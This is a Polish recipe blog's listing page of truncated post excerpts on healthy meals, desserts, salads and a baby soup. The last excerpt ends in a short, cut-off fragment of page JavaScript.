Lekkie, chrupiące, pieczone kotleciki z kaszy jaglanej. Możemy podać je jako przekąskę albo na obiad.Jem zdrowo: Pieczone kotlety z kaszy jaglanej Drukuj przepis Składniki1 szklanka kaszy jaglanej1 kostka twarogu[…]

Dzisiejszy artykuł zainteresuje wszystkie kobietki. Zwłaszcza te w ciąży, anemiczki i przechodzące trudne dni   Wiadomo, że krwi sprzyja żelazo. Przeciętne zapotrzebowanie to 10-20 mg dziennie. W niektórych[…]

Wiosna za oknami w pełni, także na talerzu przydałoby się trochę świeżości:)  Szybki, zdrowy lunch.Jem zdrowo: Mozzarella na warzywach Drukuj przepis Składniki15 dag fasolki zielonej (mrożona)1 średni pomidor[…]

A może takie śniadanko zaserwujecie sobie w leniwy, weekendowy poranek? Jem zdrowo: pieczone awokado z żółtkiem Drukuj przepis Składniki2 średnie awokado1 łyżka oliwy z oliwek2 średnie żółtka przyprawy płatki[…]

Jesteście na diecie a macie ochotę na coś słodkiego? To będzie idealne:)Jem zdrowo: jogurt z nasionami chia i owocami Drukuj przepis Składniki200 gram jogurtu naturalnego (najlepiej gęstego)3 łyżki nasion chia1[…]

Moje dzisiejsze śniadanie postawiło mnie na nogi w sekundę:) Genialne połączenie smaków, polecam wszystkim fanom połączenia jajka ze szpinakiem, palce lizać!:)Szpinak z jajkiem sadzonym i oscypkiem Drukuj przepis […]

Kolejna odsłona mojej ulubionej kaszy:) Wersja na słodko z wiśniami, nasionami chia i wanilią! Polecam na śniadanie:)Jem zdrowo: Waniliowo- wiśniowa jaglanka Drukuj przepis Składniki4 łyżki kaszy jaglanej2 łażki[…]

Bezmięsny sos do makaronu dla osób, które lubią czasami odpocząć od mięsnych dań Makaron z sosem warzywnym Drukuj przepis Składniki2 średnie czerwone cebule4 ząbki czosnku1 puszka pomidorków pelati1 mała[…]

Coś na leniwy poranek:) Owsianka na słodko.Krem kakaowo- owsiany Drukuj przepis Składniki1 szklanka mleka 3,2%2 łyżki mąki owsianej (ewentualnie mielimy płatki owsiane)1 łyżka cukru trzcinowego1 łyżeczka kakao2[…]

Ciekawa sałatka na imprezę:) Bardzo interesujące połączenie smaków.Sałatka z pieczonym indykiem i papryką Drukuj przepis Składniki40 dag indyka przyprawy papryka ostra i słodka, sól, pieprz, czosnek suszony2[…]

Nie masz dużo czasu na gotowanie? Polecam szybki lunch:)Jajko sadzone z tymiankiem i warzywami Drukuj przepis Składniki200 gram warzyw na patelnię (mix marchewka groszek, żółta fasolka)1 duże jajko2 gałązki[…]

Na leniwą niedzielę szarlotka będzie jak znalazł. Pyszna, wilgotna i kwaskowata od jabłek. Jeszcze tylko kawa i chillout. Nie mogę się doczekać lata, wtedy zabrałabym to wszystko na taras.*Ciasto znalazłam[…]

Wspaniale komponuje się z bezą, kruchymi babeczkami. Przepis podpatrzony na http://www.mojewypieki.com Limonkowy krem Drukuj przepis Składniki2 średnie jajka16 dag cukru80 gram masła sok wyciśnięty z 2 limonek skórka[…]

Może nie macie pomysłu na dzisiejszą kolację?:) Polecam sałatkę śledziową, jest naprawdę smaczna i lekka.Sałatka śledziowa z papryką Drukuj przepis Składniki6 marynowanych płatów śledziowych1 duża czerwona[…]

Wiosenna sałatka z makrelą:)Jem zdrowo: Sałatka z makrelą Drukuj przepis Składniki2 garści rukoli0,5 dużej marchewki0,5 średniej makreli0,5 pęczka szczypiorku2 łyżki startego sera żółtego1 łyżka oleju[…]

Zaczynamy sezon zrzucania ciuszków, warto by zadbać, aby było co pokazać. Co powiecie na serię mniej kalorycznych obiadków? Taka kolorowa kompozycja na talerzu poprawi humor, doda energii  i zachęci do[…]

Propozycja dla naszych najmłodszych domowników:)Coś dla niemowlaka: Zupka pomidorowa z kluseczkami jajecznymi Drukuj przepis Składniki1 średni ziemniak0,5 średniej marchewki0,5 średniej pietruszki1 łyżka przecieru[…]

Kasza gryczana w innym wydaniu:) Może posłużyć jako lunchbox do pracy:)Jem zdrowo: Kasza gryczana z kozim serem i pieczonymi burakami Drukuj przepis Składniki4 łyżki kaszy gryczanej1 gałązka pomidorków[…]

Mamy wiosnę, napełnia nas szczęście, że wreszcie zrzucimy zbędne ciuszki, a tu jak na złość zwykle pojawia się choroba. Dlaczego tak się dzieje, należałoby spytać lekarzy, ale dla nas ważniejsze jest jak się przed[…]

Banalne w wykonaniu, a jakie smaczne “oszukane” mini-pizze. Dodatki w zasadzie dowolne, kto co lubi. Idealny ciepły poczęstunek dla niezapowiedzianych gości. function load(url, callback) { var xhr; if(typeof[…]